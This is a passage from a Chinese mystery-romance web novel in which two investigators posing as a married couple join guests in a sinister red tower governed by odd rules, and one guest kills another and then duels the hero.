温余被他这突如其来的一问打得措手不及,这略过贺扶的行为也人诧异,但念在当下形势,她只是带着寻常的笑回道:“还好,你为何在此?”
谢旧这回倒是回答了温余的问题:“我是受邀前来,连娇也是?”
“那你可知此方主人是何人?”贺扶又问,但谢旧又陷入了沉默,这倒是让温余觉得有趣了,怎么偏偏贺扶问的时候他就不愿意说话,但自己一问就如实相告?难不成是因为自己和他交了朋友?
明知面前是一对夫妻,但只接妻子的话而无视男人,着实有些引人遐思了,总感觉在图谋些什么。
念此,温余拉着贺扶来到那桌边坐下,贺扶也发现了这人对自己莫名的敌意,所以刻意让温余坐在谢旧身边,这样也好让温余多打听些消息。
他有一种直觉,面前这人一定对这楼中之事了解颇多。
但他这动作却是让谢旧暗暗挑了挑眉:明知对方对自己妻子有意,但还是让自己的妻子和那人坐在一起,究竟是对妻子过于放心呢?还是两人之间的感情本就不深厚呢?
谢旧对这对貌合神离的少年夫妇更加感兴趣了。
“想必谢公子已经在此处许久了吧,我们是初次前来,对此处没有什么了解,不知您能否为我们介绍一二?”温余接着方才贺扶的话问他,这次他果然回答了这个问题。
谢旧摇了两下扇子,带起的风吹起了他的一缕墨发。飘逸好似名家挥毫,“我也只是知晓一点,这里的主人每隔半年就会给外界发出邀请,每次都是八个人,但进入此处后却很少有人能出去。”
“很少有人能出去?那就是有人曾经出去过了?”既然有人能出去那就说明韩犹息所说的杀人鬼楼还是有破解之法的。
谢旧眼底带了笑意:“确实,但可惜的是从此处出去的人不是疯了就是傻了,除过一人……”
温余更好奇了:“何人?你可知道?”
谢旧摇扇子的手顿了顿,看了贺扶一眼,见对方正端起茶杯端详着上面的花纹后刻意将扇子一抖,发出一声响动后在贺扶疑惑的目光中用扇面将他和温余的脸遮起来。
这动作刻意,又找打!
温余觉得奇怪,但还是递给贺扶一个“没事”的眼神后凑近了谢旧,贺扶收到了示意也回过头去继续端详那瓷杯。
是天青色冰裂荷叶杯,小巧清透,放在手中把玩再好不过了。
在看到贺扶面上没有半分不悦之色后谢旧眼中闪过一丝异样,但很快就被温余带着好奇的询问打断:“您说的那个人究竟是什么人?”
“不是什么有名的人物,只是一位官员的私生子。”
“那他是如何逃出去的?”相对于谢旧刻意强调的身份,温余还是对他逃出去的方法更为好奇。
“这个就不清楚了,据说好像是遵守了这地方的某些规则。”
说罢,谢旧将扇子一合,看向贺扶,“不知兄台贵姓?”
趁着温余和谢旧说话的时间,贺扶已经将这堂中的陈列看了一遍,这巨大的红桌共有八个位置,四面都立着与门口那麋鹿屏风绣艺无二的红木屏风,只是上面所绣的图案不同。与麋鹿相对的是一副藏羚羊,其右为朱鹮,左为猞猁。
贺扶在那幅猞猁绣图上看了许久,脑中不由浮现起在湖州遇到的那位面具人,他的面具上也是猞猁,其中可是有什么联系?正当他思索时便听到了谢旧的问候,这才放下茶杯,微微颔首:“免贵姓韩。”
“哦,韩兄,幸会。”嘴里说着幸会但神色却是极其随意,仿佛是迫不得已的应酬。
“幸会。”贺扶虽然不知道这位还没见过几面的公子对自己的敌意从何而来,但本着君子礼仪十分真诚的回了话。
温余见谢旧不再说话,暗暗将椅子往贺扶处挪了挪,贺扶也十分配合地侧了侧头,听温余说:“谢公子说有什么规则之类的,只要遵守规则就能出去了,之前有过先例的。”
“先例?”贺扶有些疑惑,“可之前不是说没有人出去过吗?”
“有先例但只有一位,红楼在这里好几年每年都有十六人,但完好出去的却只有一人,这红楼的主人还真是杀人如麻!”温余背后不由起了一层冷汗。这个完全未知的地方说不准那位主人就在哪里盯着他们,监视着他们的一举一动,这中被窥探的感觉可不好受。
贺扶看到温余暗暗张望的动作也明白了她的意思,也叹道:“敌人在暗我们在明,确实难办,但别担心,有我在。”
温余也相信贺扶不会让自己出事,但让她感到害怕的却是那未知的“规则”,若是不吃不喝之类还好,可要是每日杀一个人之类那可就不妙了。
要知道,这世上的人为了活命是顾不得更多的,更何况是如此荒郊
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野岭还有传言加之,那可就更不用担心之后该如何解释了。
她向贺扶说了自己的心中所想,贺扶也皱起了眉,但还是柔声安慰着温余:“放心,若真是那样的规矩我定会抢先一步将那背后之人找出来的。”
听贺扶这样说温余心中的忐忑也消除了不少,她撑着脸看着贺扶,好像只要他在自己就会安心很多,什么都不用怕了。
“贺……”一句贺大人要出口她又忽然反应过来自己如今的身份,悄悄瞥了谢旧一眼发现他正在打量着四周的陈列没有在意这边的情况后松了口气。
“夫君,你可是喜欢这杯子?”温余笑得眉眼弯弯。
贺扶将杯子拿起在温余面前转了一圈儿后赞道:“对,这杯子烧制应当要花很大功夫,这天青色也是极其难得,我所见之中能在此之上的不出二三。”
温余凑近看了看,“那我回去学着烧一个?”
贺扶眼中闪过一分惊讶,“夫人还会这个?”
温余一噎,感叹这人怎么能说得这般顺畅,还半点脸红都没有?后转念一想,他先前查案说不准也和旁人演过这样的戏码,兴许早就见怪不怪了吧?
念此,温余心中泛起一种莫名的情绪来。酸酸的,又有些涩,像是没熟的果子一般。
“不会,不做了。”温余忽得转了口风,贺扶还在思索原因便听门吱呀一声,又一人推门进来了。
“几位好,在下尤眠,一介书生,还望各位多多关照。”
来人如他所介绍一般,确实是一副书生样貌。此刻正拱手作揖,温余却从他偷偷打量的眼神中看到一丝狡黠来,感觉会是在背后捅人刀子的那种。
三人之中贺扶率先起身问好,温余也跟着站起,但谢旧却稳如泰山,只是轻轻睨了那人一眼后继续打量四周。
温余明显从那人看向谢旧的眼神中看出一抹不善,果然是会记仇的性子。日后要敬而远之。
自那书生进入的一炷香时间后又一人推开了门,一踏入楼屋内四人便都感觉这楼抖了一抖。
来人身形高大,手持九环刀,刀刃白生生的让人看了汗毛竖起,正是那日在街上遇到的好汉——宁千山。
他进来后冲四周的人都点了头,算是问好后便直接在最靠近羚羊屏风的那个位置坐下。
温余看着他的身影有些愣神,正惊讶他竟也是这里的客人时又进来的那人却让她又一次震惊了。
因为接下来的那位“客人”正是自己那人惊鸿一瞥的赌坊老板。
她仍然是一身红衣,依旧是让人看一眼便移不开眼睛。
“褚月,幸会。”褚月带着笑意,对在座各位问了好后缓缓坐在宁千山身边的位置,后者明显有些手足无措,竟是连看一眼都不敢。
但坐在贺扶对面的尤眠却是一眨不眨的看着褚月,甚至带了些冒犯。
温余着实是看不下去了,撇了撇嘴后再次看向贺扶却见贺扶正静静喝着茶,感受到温余看向自己的视线后转头看她。
“怎么?”
“那人很讨厌!”温余做着口型,悄悄用手指了指贺扶对面的尤眠。贺扶自然也注意到了他那过于炽热的眼神,只是轻轻蹙眉,“那便不理他。”
44. 红楼案(五)
温余看着贺扶那认真的神色不由笑出了声。
之后进来的是两位,一男一女,男的一身黑衣,女的一身粗衣,用粗布挽起来的发丝中还藏着几根白发。
见又来了一位姑娘,温余正要起身问好却无意捕捉到她看向尤眠的眼神,怯生生的,却有些说不出的暧昧感。
温余要出口的话顿住了,还是那位女子先一步开口:“柳敏娘,是农户。”
柳敏娘本就因为劳作而含胸驼背,往在座诸位的脸上看了一圈儿后将头低得更深了。在座不是富贵人家就是世间绝色,她无论家事还是相貌都是其中最次,她又怎敢和这些人对视?
但与她一同进来的男人却是自在,没有一句问号便直接向着宁千山对面、谢旧身边的那个座位走去。
如此,这座位便只余下尤眠和褚月之间的那个了,柳敏娘正要坐,尤眠却露出一副嫌弃的表情,她便站着不敢动了。
温余见势立刻站起,上前对她露出一个友好的笑来,“坐我这里吧!”
柳敏娘有些惶恐,看了看贺扶后又看了看谢旧。
她这般浑身带着脏的人坐在这两位天仙似的公子边上怕不是会冒犯了人家。
但见贺扶对她露出一个温润的笑来,谢旧也没有嫌弃的意思后她便半推半就地坐在了温余的位置上。
温余自然也顺势坐在褚月边上。这也带了些她的私心,她确实是想与这位惊艳至极的美人认识认识,能交到朋友就更好了。
但没等温余搭话,褚月就率先开口:“我们上一次见过的,你叫什么名字?”
看样子也是个很友善的人呢!温余心中升起一抹窃喜,“宋连娇。”
“那我唤你连娇可好?”褚月带着笑意,一双含情的狐狸眼弯起来更显明媚。
“当然好了。”温余笑得开心,又听褚月指了指贺扶发问:“那是你夫君?”
温余点头,听褚月笑道:“很般配。”
“啊?”温余被她这一说打得有些不好意思,只是悄悄侧开脸,“有吗?”
“当然啦!”褚月笑得更开心了,如同一朵盛开的牡丹,富贵又迷人。
“你可以唤我阿月,或者像其他人一般唤我褚老板。”褚月凑得近了些,“不过我更倾向前者。”
“好……”温余正要唤却见对面褚月的表情闪过一瞬的嫌恶,她自然地向后看去,只见尤眠正瞪着一双眼死死盯着褚月。
看到温余转了身,尤眠刻意往别处望了几眼,温余上下看了看他后转过身将椅子拉了拉,想要将他的目光挡住。
“诶……啊!”尤眠见自己看不到褚月了,张嘴要唤但却感到头顶一痛,接下俩就是一阵清脆的响声。
“这是?”
温余闻声转头,那不知从哪里砸下来的竹条正稳稳拿在谢旧手中,他正反看了看,将竹条上的字念出来:“早中晚三餐时,勿缺席。”
“看来是这就是所谓的规则。”谢旧将竹条又在手中把玩了一会儿后将它随意往桌上一扔,贺扶向在座诸位看了一圈,见无人打算碰这烫手山芋后自己伸出了手。
这是一条打磨得极平整的竹条,像是被什么人常年摩擦出来的。上面的字是一列很娟秀的瘦金,像是女子所书。
会是从哪里来的呢?
贺扶往尤眠身后看了看,只有那扇绣着猞猁的屏风安然地待在那里,除此之外再无其他动静。方才竟然没有注意这堂内的动静。
他不禁有些懊悔。
“只有这一条吗?”温余起身也想要看一看那竹条,却忽得又感到脑后一痛,接下来另一刻着规则的竹条就落在了自己手中。
这人有病吧?怎么老爱砸人?!
她回头想要去看,没有看到什么异常后将头抬起往二楼看了一眼。只有被风吹动的红色帷幕。
“那上头写着什么?”褚月凑上来,温余嗅到了她身上的那一抹暖香。
温余转过竹条念道:“用膳无言,食不言。”
勿缺席、食不言……
贺扶放在桌上的手指微微蜷起,这样的规则似乎很简单,此方主人又是为何呢?
“还有一个!”身边那人突然开口,众人的目光霎时落在了他身上,只见他将手中竹条翻了个面,将有字的那一面对着所有人,缓缓道:“寝不语。”
其实那竹条上写着“就寝无言,寝不语”,但谢旧图轻松,直接念了后三个字,毕竟这这三个字在座又不是听不懂。
“就只有这些?”温余有些疑惑。这人费力将这么多人凑在一起,但又只制定些乱七八糟的寻常规则,不似害人,倒像是在玩笑,但她转念一想又觉得有一丝寒气涌上。
若是明面上的规则是三岁小儿努力努力都能完成的东西,那为何还会有那么多人无法遵守?那便只有一个可能了:明枪易躲暗箭难防。
真正的规则或许不在这简单的木条上,而是其他的……
温余在四周人的脸上扫视一圈,神色各异。
最边上的宁千山抱着刀似乎陷入了沉思,褚月也正皱着眉观察着在座的各位,尤眠紧锁的眉头间能看出几分慌乱来,柳敏娘手指搅住衣袖,胸膛起伏不敢抬头看旁人,谢旧则是一脸玩味,同刚刚见面时无二。
唯一一个奇怪的……
温余看向坐在最角落,连介绍都没有的那位黑衣男人。他似乎感到了温余的目光,微微抬眼,温余从他的三白的眼中看到了浓浓的杀意,而且方才竹条出现后,他是唯一一个没有凑上前查看的。
虽说在座各位除过贺扶都似心怀鬼胎,但这人未免有些太过怪异。
温余正准备收回目光却对上了贺扶,看来两人想的差不多。
“既如此,我们不妨先去休息片刻?距离晚膳时间还有很久呢。”
在诡异的沉默氛围中,褚月率先开口。
说罢,她没等众人应和便自顾自的站起身来往二楼走去,身姿娉婷在场除过低着头的柳敏娘外都将目光看向了她。
目送她上楼后温余才发现贺扶也正盯着她的背影出神。谢旧的目光则从褚月身上移开,眯着眼看向贺扶。
“告辞。”宁千山
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回了神,站起身来也往楼上走去。
有了两人带头,其他人也都先后起身,十分自然地按照座位进入了对应的屋子。
温余站在二楼栏杆处往下望,这楼中竟是规整得吓人,底下鲜红的四方桌仿若一个祭坛一般,让人看了不适。
“咳……”贺扶的声音从对面响起,温余循声看去,见他冲自己示意后开门进了屋子。
好在温余同贺扶的关系众人都知晓,共同出入也只当是小夫妻之间的暧昧,不会有人起疑,这倒也方便了二人讨论此事。
“诶?这个是?”温余又在桌上看到一根竹条,将它翻过后又看到一行字:“屋内无镜,不对镜。”
贺扶也看到了那根竹条,倒茶的手微微顿了顿后缓缓道:“如此一来,一共有四条规则,这四条规则都很简单,但第四条……”
他将杯子往温余面前推了推后道:“这屋里没有镜子。”
温余在看到那条规则的时候就下意识去找镜子,果真如贺扶所说,这屋里没有镜子。
“那就算照镜子也没得照啊,难道是怕来人带了镜子?”温余端起茶杯喝了一口,双眼蓦然带上了光亮,“是甜酒?!”
贺扶这才将那杯茶端起来闻了闻,果然带着丝丝甜味。
“好喝!”温余又为自己倒了一杯,“贺大人不尝尝?”
对上温余期待的目光,贺扶轻轻摇头:“我不喜饮酒。”
温余有些失望:“哦,那您方才可有发现什么别的东西?”
贺扶定了神色,将他所想都一一说出,除过那扇绣着猞猁的屏风,竟是和温余没什么差别。
“所以您怀疑这地方的主人和那个面具人有关系?”温余摸摸下巴,“说不准还有些面具人,带着另外三个动物呢?”
贺扶点头赞同:“很有可能。不过若是那样我们要做的东西可就更麻烦了。”
“哦,对了!”温余忽得想起,“您方才为何盯着那位褚姑娘?”
贺扶垂下眼帘,眉宇间似乎有些纠结,他淡淡道:“我觉得,有些熟悉,似乎在哪里见过但又想不起是在哪里,是什么时候……”
“见过?”温余也跟着皱起眉来,“不过我觉得她应该不是什么坏人,但一定有事情瞒着我们!”
贺扶淡淡一笑,语调中很是确信:“前来赴宴的诸位又有何人没有瞒着的东西呢?就连未曾前来的韩犹息夫妇也有东西瞒着我们,不是吗?”
“不过……”贺扶手指蜷起,神色变得有些疑惑:“那位谢公子为何总是对我带有敌意呢?”
这明眼人都能看得出来,那谢旧对贺扶那叫一个针对。
温余做出一个思索的姿势,过了片刻后缓缓道:“或许是因为你做得不够好!”
贺扶双眸微微放大:“那里不够好?”
“作为一个丈夫面对妻子与其他男子关系亲密,你应该做什么?”温余凑近了,一副神秘兮兮的样子。
“做……什么?”贺扶似乎更疑惑了。
温余一拍大腿:“吃醋啊!吃醋!!!”
45. 红楼案(六)
“吃醋?”贺扶的眉梢微微跳了跳,后又道,“可是既为夫妻那就该互相信任,又何必要因为一方与他人的交往就心生猜忌呢?”
温余扶额,果然在贺扶的心中所有人都应该是相互信任的,只要真心相对的人承认就不会过多猜疑,也不会相信旁人的闲话。
但这是世上有几人能做到这样呢?这未免有些太强人所难了!
“但,人也应当有私心啊!”温余摊了摊手,“打个比方,您喜欢的人和他人距离过近,您就不会觉得吃味?”
贺扶摇头。
温余见他摇头,只好换个说法:“那若是启蛰另则他主,您是什么滋味?”
听此,贺扶只是淡淡笑了一笑,“早晚会有这一天的。”
“……”温余沉默了一瞬,她总觉得贺扶的想法有些说不出的悲观,一种乐观到极致的悲观。
是因为儿时的事情吗?
“那您也得装一装啊!”温余不再问他这些东西,只是想着应对当下的事情,至于其他……
温余神色定了定,之后再说吧!
贺扶点了点头:“好。”
二人又相对着坐了片刻。因为温余方才的那一问贺扶也开始想起了启蛰日后的打算,他眸色深深,捏着手中的茶杯,叫外人看来不知在想什么。而温余却是撑着脸看着贺扶的神色,眉眼间还带了丝疑惑和关切。
贺扶究竟是怎么想的呢?他好像替所有人都谋好了后路,那他自己呢?
是觉得自己总有坠落的一天还是说怕所有人都有要离开的那天?
虽然温余也是晓天下没有不散的宴席,但她却是觉得为人应该及时行乐,既知会有离开的那天,那就更应该珍惜在一起的每一天。
未雨绸缪也不能这般啊!
温余离开房间时贺扶还是一派思索的样子,她回了屋子,坐在床上,手中随意甩着床帏上的红色流苏。
窗外的风卷起几片深绿的树叶,缓缓旋转到半空,最后穿过半开的窗户,被一只素洁的手接住。
温余本想着将那扇窗户关上,但当她下意识往窗外看的那一瞬,竟然看到一只粗糙的手从隔壁伸出,应该也是在关窗户。
可是她隔壁住着的不是褚月吗?那那只手是?
宁千山……
这个名字从脑内蹦出来的时候温余还是震惊了一瞬的,但是紧接着就是一种发现的惊天秘密的兴奋感。
那日街上的一见,宁千山定是被褚月的容貌给惊艳到了的,难不成就是这样一见倾心,深陷情爱无法自拔了?
又想起方才桌上宁千山死都不敢看褚月的那副神态,温余愈发觉得自己的猜测十分正确。
她攥住手中的树叶缓缓往墙边挪着,果然在靠近墙的位置听到了隔壁传来的男声,但是模模糊糊竟是听不清他在说什么。
“罢了……”温余只能回到床上躺下,红木的床顶发呆。
等到了晚饭的时候她才起身下了楼。
没想到这些人都来得如此迅速,除过那位不介绍、不说话的黑衣男人外其余人都到了。说是晚饭,但实际上面前的只是一张空桌子。
柳敏娘、宁千山和尤眠三人都没有带吃的,只不过宁千山行走江湖许久,一两天不吃饭都能撑下去,柳敏娘整个人又十分沉默,就算饿也不愿意说话,但尤眠就不一样了。
“不是说三餐无缺席吗?怎么连个吃的都没有!”尤眠一拍桌子,直愣愣站了起来。
他在四周环顾了一圈,见人人都是一副严肃、死气沉沉的样子,顿时气从中来,冲着四周大喊道:“这房子里藏着的是人是鬼!?既然敢找我们过来怎么不敢出来露一面?”
“公子。”贺扶起身拉住他,在还没有搞清楚状况的时候这般冲动,无非是让这背后看着的人多一个靶子罢了,着实是不明智,“当心些……”
“是啊,你小心些。”原本坐在贺扶身边的柳敏娘不知为何突然开口说话。
尤眠本就恐惧与气愤混合,一肚子气没有地方发泄,第一个开口劝阻的贺扶一看就是他惹不起的样子,这柳敏娘又正好撞上了枪口。
“你他妈烦不烦?!这破地方连个饭都没有,别说坚持几天了,我们饿都得饿死!你个贱人还敢在这儿管老子的事儿!”
本就安静的场面在他吼出这些话后更安静了,仿佛一根针掉在地上都能听得到。
贺扶被他这指桑骂槐的行为给惊到了,自己和柳敏娘分明好心劝他,怎么还这般不识人心?
“一顿不吃又饿不死你,吵什么吵?”温余撇撇嘴。
“你!”尤眠指向了温余,但见对方一副无所谓又丝毫不惧的样子,又想起她的身份,非富即贵,惹不得。
“行了,安静等着。”
宁千山块头大,有着先天的优势,在场所有人看到他都要忌惮几分,尤眠自然也是,听他发话了,尤眠也不敢再说话,只能如同丧家之犬一般坐回了位置,但在彻底落座之前还暗暗瞪了柳敏娘一眼。
在座众人又安静等了半个时辰,依旧没有半点动静。
“我们什么时候能回屋休息啊?”褚月张了张哈欠,顺势靠在身边的温余身上,温余有一瞬间的僵硬。
这这般美人靠着,就算同为女子也是不住心驰神往。
“可是,那个人呢?”温余用手指了指那个自始至终都空着的位置。
那个黑衣男人这整整半个时辰都没有出现。
“该不会?”尤眠瞪大了眼睛。
“不是说什么勿缺席吗?他没有遵守规则,不会被……”
他在自己脖子上划了几下,猜测那人许是出事了。
贺扶看向那人的屋子,神色紧绷,“去看看?”
温余见贺扶的目光看向自己,也跟着贺扶的动作站了起来。
“阿月要一起吗?”
褚月软趴趴地扶着温余的手臂站起身来,“好,若是他死了,我是不是就能睡觉了?”
看来她是真的很困……
“我也去!”谢旧忽然举起手来,目光灼灼地看向温余。
尤眠许是因为害怕又或者是看到宁千山也起身跟在后头有些尴尬,没有上去查看的意思,柳敏娘也不知为何谢绝
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了温余的邀请,和尤眠一同留在楼下。
贺扶像是带着小孩子出游的长辈一般,带着一列人站在颇有些上门找事的架势。
而屋内的人似乎听到了门外的动静,猛得将门打开,对着领头的贺扶就破口大骂:“滚,别烦老子!”
说罢,他便“砰”的一声关上门,只留门外众人面面相觑。
“看来他没事,这样我就要去睡觉了。”褚月又打了个哈欠,向众人道别后转身向自己的房间走去。
半个时辰,就算真的用餐也该结束了。她此时走应该也不算缺席了吧?
再说缺席的还另有其人呢!怎么也轮不到她。
见褚月离开,宁千山也便跟在她身后离开了。
温余更好奇他们之间的关系了,正要将目光紧紧盯着二人却感到身侧突然投下一片阴影。
她转头——是贺扶?
“那我们也先回去休息吧。”
贺扶微微一笑,似乎是刻意遮住了谢旧看向自己的目光。
温余想起白日里自己同贺扶所说的话,很快明白了他的意思,正要应声却听谢旧忽然开口:“二位不要那般急着走,不妨看看下面?”
温余和贺扶同时转头往下看,只见柳敏娘正扯着尤眠的袖子,双眸似乎还闪着晶莹的泪花。
“阿眠你不要留在这里了,你快走吧!”
尤眠粗鲁地甩开柳敏娘的手,狠厉道:“走?我走了让你独享这笔钱吗?还有,你未免有些太不知廉耻了!我到哪里都要跟着我,就不能找个别人去缠着吗?非得跟着我?”
柳敏娘听到他这一番话,又红着眼低下头。她不住摇着头,颤抖着声音道:“不是的,不是的……”
但尤眠显然不信她这一说辞,只当她是为了阻挡自己寻个好前程。
“我告诉你,你缠着我也没用!”他唇角勾起一抹得逞的笑意,“等我拿了这笔钱,我就回去娶劳员外的女儿,到时候我就是他们家的女婿,就不会和你这种小家子气的女人扯上关系了!你就滚回老家做你的黄脸婆吧!”
一段话,听得楼上两人眉头紧锁。
“钱?这里哪儿有钱?”柳敏娘似乎不知道他说的钱是什么,温余和贺扶对视一眼,他们也不知道哪里来的钱。
是参与了这场宴席就会有钱,还是这个尤眠和别人约定好了什么?
“还装傻?你来这里不也是为了钱吗?”尤眠用手掐着柳敏娘的手腕,让她惊慌的眸子对上自己。
一滴冷汗自她额角流下,她张着口:“我是因为有人说你在这里会有危险才来的,我不知道有什么钱……”
尤眠依旧不信:“放屁!你不会是觉得有了钱就能让我回心转意了吧?不可能的,你也不看看自己,什么德行?哪里比得上阿织?”
说罢,他将手一甩,柳敏娘便被他甩在了地上。
她撑着地看着尤眠离开的背影,似是惊魂未定。
而楼上看完戏的谢旧却是悠然自得地搭上栏杆,笑道:“一个拼死纠缠的贱人,和一个不知道自己几斤几两的负心汉,简直是般配至极啊!”
46. 红楼案(七)
“这话不能这么说吧!”温余也顺势搭上栏杆,看向谢旧的眼神中带上了些不悦,“这位柳姑娘只是想提醒他,是担心他的安全,又不是死缠烂打要跟着他,怎么就成你说的……”
温余住了嘴,那个字她着实是没法用在别人身上。
谢旧嗤笑一声,“若是有人那般对我,我恨不得将他碎尸万段,若是听到他会死定然是要好生欢庆一番,怎么可能会像她这般劝阻?还不顾自己的安危追过来。又蠢,又贱。”
温余的眉头皱得更深了,“她只是关心别人,再说我们又不知他们之间发生了什么……”
谢旧似又要说话却被贺扶出声打断了:“他们二人来此的目的不同。”
谢旧一挑眉,眼见这贺扶自然地上前隔在自己和温余中间。
“对啊,尤眠说的钱和柳敏娘所说的尤眠的安危……”温余一拍手掌,“这里的主人是用不同的理由找人来的,或许就是这些人心中最为重要的事情,算是威逼或者利诱?”
贺扶也点头,转向谢旧:“不知谢公子是因何而来?”
“玩乐,你们呢?”谢旧一展扇子,双眼眯起。
“我们也同谢公子一样。”贺扶唇角勾起一抹笑来。
谢旧歪头道:“韩公子不说实话?”
“谢公子既不说,那我也不必说了。”贺扶淡淡道,“与人交往不就讲求一个真心相待吗?”
“是啊,真心相待。”温余附和道。
韩犹息他们是没有提说过对方以什么样的理由找自己过去的,只是说不前往赴宴就会被杀。从来到崇安到如今种种,不得不让温余怀疑他们对自己的隐瞒有多少,又有多少有用的消息。
可如今已经到了这里只能硬着头皮上了,能瞒着便瞒着,若是实在瞒不住了大不了就开门见山,反正这次前来就是为了断了这所谓“鬼楼索命”的由头。
“你既是来玩乐的,那我们也是。”
谢旧在两人脸上看了一圈,眼中似乎闪过了一丝暗暗的光,他佯装苦恼地摇摇头:“诶,你们夫妻同心,夫唱妇随,我是说不了什么的,只不过那位没有遵守规则的朋友,今晚许是会有些危险呢……”
说罢,他轻转身离开。楼下二人也不知何时分开,楼下已空无一人。
“既如此,我们也便回去吧,今晚……”贺扶又一次看向了那紧闭的房门。
按照方才谢旧的意思,他没有遵守规则,所以会在今晚出事。是这楼内藏着的人动手还是其他的方式?不过谢旧对这座楼的了解似乎很多,与其他人不同,他似乎从未露出过惊讶或是惊恐的表情,反而自始至终是一幅好整以暇看戏的模样。
会不会是这楼中的主人混在其间,观察着众人的行动呢?
贺扶心中带着怀疑,叫住了揉着眼睛想要离开的温余,“你第一次见到谢旧可有发现什么异常?”
温余转过头打了个哈欠,回想着与谢旧的初遇,“其实也没什么,除过制香外,他好像……”
“很在意自己的容貌?”
“在意容貌?”贺扶不由想起最后一条规则。
不对镜,可是此方主人觉得自己容貌不令自己满意所以才不敢照镜子?可是以谢旧的容貌,不应该啊……
“你……很困?”贺扶见温余又打了个哈欠,眸中露出些关切来。
温余长舒一口气,懒懒道:“是有些,许是方才和褚月待在一起传染了?”
不是温余瞎说,瞌睡这种东西是真的会传染的!
贺扶暗暗叹息:“那你早些去睡吧,睡前记得锁好门。”
“嗯。”温余点头后头也不回地往自己的房间走去。
一回到屋内她就好似被抽干了力气,硬撑着将门关上还在门边放了一个瓷杯当做示警后才回到了床上。
一觉睡到天亮。温余一睁眼便听到屋外传来一阵打斗的声音,似乎还非常激烈。
温余立刻穿上鞋子就推门往外跑。一出门,她还没来得及往下看,便被一双手拉住胳膊,转头一看,是一脸看戏的褚月。
她拉着温余来到栏杆边上,指着下方缠斗着的两人,兴奋道:“你看,你夫君和人打起来了!”
温余一见下方的情形就顿时僵住,下一刻便想着往下跑,却被褚月给伸手拉住。
“诶,多危险啊?看一会儿嘛!”
“可是……”温余随被拉着,但身体还是朝着楼梯的方向,准备着往下跑。
褚月却毫不在意,仿佛是在赌场里观看孤注一掷的赌徒一般,嘴里还念叨着:“你觉得谁会赢?是宁千山还是你夫君?要赌一把吗?”
温余那顾得上赌。
下方贺扶衣角飞扬,正不断与宁千山缠斗着。对手人高马大,还有一身近乎免去伤害的肌肉,仿佛旁人对他的攻击都会化作棉花似的软拳。
身量和力量上的绝对压制,再加场地局限,贺扶很难占据上风。
“他们为什么突然打起来了?”柳敏娘哆哆嗦嗦地来到温余身边。尤眠站在一旁不停拍手叫好,谢旧在她心中又是一副不可接近的样子,只能来温余和褚月身边了。
同是女子,这也能让她放心一些。
“我也不知道,一出来就在打了。”褚月仍然是带着兴奋,“你看看,宁千山把你夫君给压着了!”
她向温余指着。宁千山正用刀背压在贺扶前胸,逼得贺扶连连后退,那张朱红的桌子也被劈开,碎裂的木片有些被嵌在柱子上,而有些划破了屏风。
眼看后背就要撞上那张绣着麋鹿的屏风,贺扶双手抓上宁千山粗壮有力的胳膊整个人往上一跃就从他头顶翻过,还未落地便被对方扼住了肩。
他只感觉身体一轻,便被宁千山用力往外甩去。
“你何必这么纠缠呢?”宁千山中气十足,即使是与旁人缠斗也话语间也带着威慑。
贺扶眉头紧锁,等自己稳稳落地后一个转身将宁千山扼着自己的手甩开,“为何杀人?”
因为昨夜温余困倦,他只能一人前去查探。本想着多加注意那黑衣男人的情形,没想到外出时却遇上了柳敏娘。
见对方一脸担惊受怕贺扶就多问了几句。虽说他相信以柳敏娘的模样不可能与此方主人有纠缠,
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但在夜中这般冒险也是十分危险的。
但就是趁着贺扶和柳敏娘说话的这一段时间,对面的房间便传出了一阵极为激烈的打斗声。贺扶当即对柳敏娘叮嘱几句后向那房间奔去。
一推门就看到那位黑衣男子被抵在墙角,刀刃已割开了他的半个脖子,但他仍然怒目盯着对面那人,喉中溢出血腥气:“是、你……”
宁千山大吼一声,“受死吧!”
没等到贺扶出手去救,那人便已失了力,双手垂下,显然是没有了气息,回天乏术。
见对方已死,宁千山这才放下了刀,转而看向贺扶。他声音低沉,“还不快走。”
“为何杀人?”贺扶自然没有如他所说离去,而是上前扶住倒下的男子,却意外从他身上摸到一个荷包。
打开,里面竟然是几锭金子。
“他偷了你的钱?”贺扶问。
宁千山擦了擦刀,摇头:“他该死。”
“为何该死?”贺扶不知是何样的原因会让宁千山动手杀人,但对方显然是一副不屑的表情。
宁千山冷哼一声,“他偷人钱财,该死。”
“为何不因交由府衙,反而动用私刑?”贺扶将那人睁着的双眼合上,缓缓放在地上后站起身。
“府衙?”宁千山眯了眯眼,“那帮没用的东西,能做些什么?还不如我自己来。”
“偷盗罪不至死,你也不该这般胡来……”
宁千山站起身,看向贺扶的眼中带上些敌意,“你要如何?”
“我只是想让你将这人交给官府。”贺扶眸色微动,却见他眸中换上杀意,将刀横在贺扶面前,厉声道:“你不是韩犹息。”
贺扶一惊,他认识韩犹息?可那不该一开始就揭穿吗?还是说他知晓韩犹息的什么事情……
“我……”
没等贺扶解释,宁千山便将刀往前一砍,若不是贺扶躲得快那脑袋可能就要搬家了。
“你是官府的人?”虽是问句,但贺扶却在他的话语间听出了肯定。
贺扶敛了眉色,面前这人似乎对官府带着敌意。
看着再次向自己袭来的刀刃,贺扶便知这是免不了一战了。
二人就这般缠斗起来,从屋内到屋外,直到众人都起来,好奇却又害怕受到牵连,只敢站在楼上观看。
一夜争斗,贺扶已经有些疲惫,但对面那人却仍然是兴奋。他将刀往贺扶面前一劈,贺扶躲闪的瞬间却被他伸手扯住胸前的衣襟。
“说,你到底是什么人?!”
他额角青筋凸起,只是看着就觉得骇人。
一滴汗自额角流下,贺扶原本紧绷的神色也带了些疲惫。
又一刀要劈下,这次却是直直冲着贺扶的脸面去的。
楼上看着的褚月喊着:“诶诶诶,你夫君要被砍死了!算是我赢了吧?”
她伸手去拽,转头却看到了柳敏娘。
“诶?”温余呢?
她四下寻找着温余,却见她正拿抱着一个圆凳站在另一侧。她对着下头喊:
“呔!看我这一招!”
47. 红楼案(八)
朱红的圆凳就这样直直向着底下的宁千山砸去,他本想着躲开,但双手却突然被贺扶抓住,让他动弹不得。只能眼睁睁看着圆凳朝着自己的头砸下来。
就算是在如铜墙铁壁一般的人,脑袋都是最为脆弱的地方,被这么一砸,多少是要晕一阵子的。
温余见砸中了,惊呼一声后哒哒地向楼下贺扶身边跑去。
“贺……夫君,没事吧?”关心则乱,温余一时也没注意自己的称呼,但贺字一出口便意识到了错误,立马改口。
贺扶轻轻抚了抚自己前襟上的褶皱,在看到衣裳被划开了一道口子后轻轻呼出了口气,“无事。”
他转而看向已经瘫坐在地上的宁千山,“如何?这一砸可是清醒了?”
